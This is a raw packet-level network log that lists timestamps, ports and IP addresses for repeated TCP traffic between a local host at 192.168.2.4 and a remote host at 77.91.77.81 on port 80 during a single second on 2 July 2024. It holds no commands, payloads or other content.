Jul 2, 2024 15:26:14.598215103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.598215103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.684927940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.684957981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.684971094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685020924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685020924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685058117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685069084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685086012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685128927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685128927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685163021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685173988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685190916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685200930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685234070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685234070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685264111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685280085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685291052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685307980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685317993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685333967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685338020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685338020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685353994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.685383081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685383081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.685467958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715068102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715080976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715101957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715121984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715132952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715147018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715147018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715148926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715167999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715208054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715208054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715260983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715281963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715292931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715310097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715320110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715320110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715320110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715337992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715349913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715349913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715353966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715369940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715385914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715385914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715385914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.715399981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715410948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.715468884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.719784021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.719794989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.719815969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.719861031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.719861031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.720618963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720630884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720650911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720671892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720681906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720699072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720700979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.720700979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.720716000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720738888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.720738888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.720814943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720827103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720844984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720856905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.720856905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.720859051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720876932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720896006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.720896006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.720963955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720974922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720993996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.720994949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.720995903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721004963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721019030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721029043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721039057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721050024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721066952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721076965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721076965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721081972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721107960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721122026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721138954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721138954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721138954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721144915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721155882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721173048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721183062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721199036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721199036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721201897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721210957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721226931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721237898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721237898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721242905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721252918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721275091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721287012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721295118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721295118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721302032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721316099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721329927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721342087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721343040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721343040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721359015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721390963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721390963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721407890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721417904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721435070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721443892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721451998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721451998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721461058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721471071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721487045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721498013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721508026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721508026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721514940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721525908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721561909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721561909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721770048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721898079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721909046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721925974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721940041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721956015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721956015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721956015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721968889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721978903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.721992970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721992970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.721997023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722028017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722028017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722038984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722047091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722049952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722073078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722084045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722094059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722100019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722110033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722126961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722136021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722141981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722141981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722151995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722163916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722171068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722174883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722193003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722202063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722215891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722217083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722217083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722233057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722243071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722249031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722292900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722292900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722363949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722374916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.722410917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.722425938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.778748035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.778800011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.778810024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.778810978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.778875113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.779038906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779086113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.779097080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779109955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779122114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779165983 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.779165983 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.779670954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779683113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779697895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779706955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779720068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779735088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779742956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.779757977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.779757977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.779817104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.780865908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.780877113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.780893087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.780905008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.780915022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.780930042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.780942917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.780957937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.780957937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.780992985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.807423115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.807491064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.807503939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.807533026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.807533026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.807590961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.807769060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.807781935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.807805061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.807817936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.807832003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.807832003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.807887077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.808331013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.808342934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.808367014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.808379889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.808393002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.808393002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.808394909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.808413029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.808423996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.808439016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.808439016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.808470964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.812715054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.812771082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.812808990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.812820911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.812863111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.812863111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.813035011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813096046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.813184023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813196898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813214064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813229084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813232899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.813244104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.813258886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.813304901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.813740969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813752890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813797951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.813797951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.813872099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813939095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.813951015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813963890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813985109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.813994884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.813997030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.814013004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.814014912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.814027071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.814039946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.814039946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.814093113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.814933062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.814949036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.814965010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.814985037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.814991951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.814991951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.814996004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815011024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815031052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815031052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.815045118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815057993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.815076113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.815104008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.815782070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815793991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815810919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815820932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815834999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815848112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.815850973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815865040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.815877914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.815906048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.815907001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.816695929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.816708088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.816725016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.816735029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.816750050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.816761971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.816772938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.816772938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.816775084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.816809893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.816809893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.817657948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.817670107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.817687035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.817697048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.817713022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.817723989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.817734957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.817737103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.817737103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.817780018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.817780018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.818470955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.818484068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.818500996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.818510056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.818526030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.818536997 CEST	80	49731	77.91.77.81	192.168.2.4
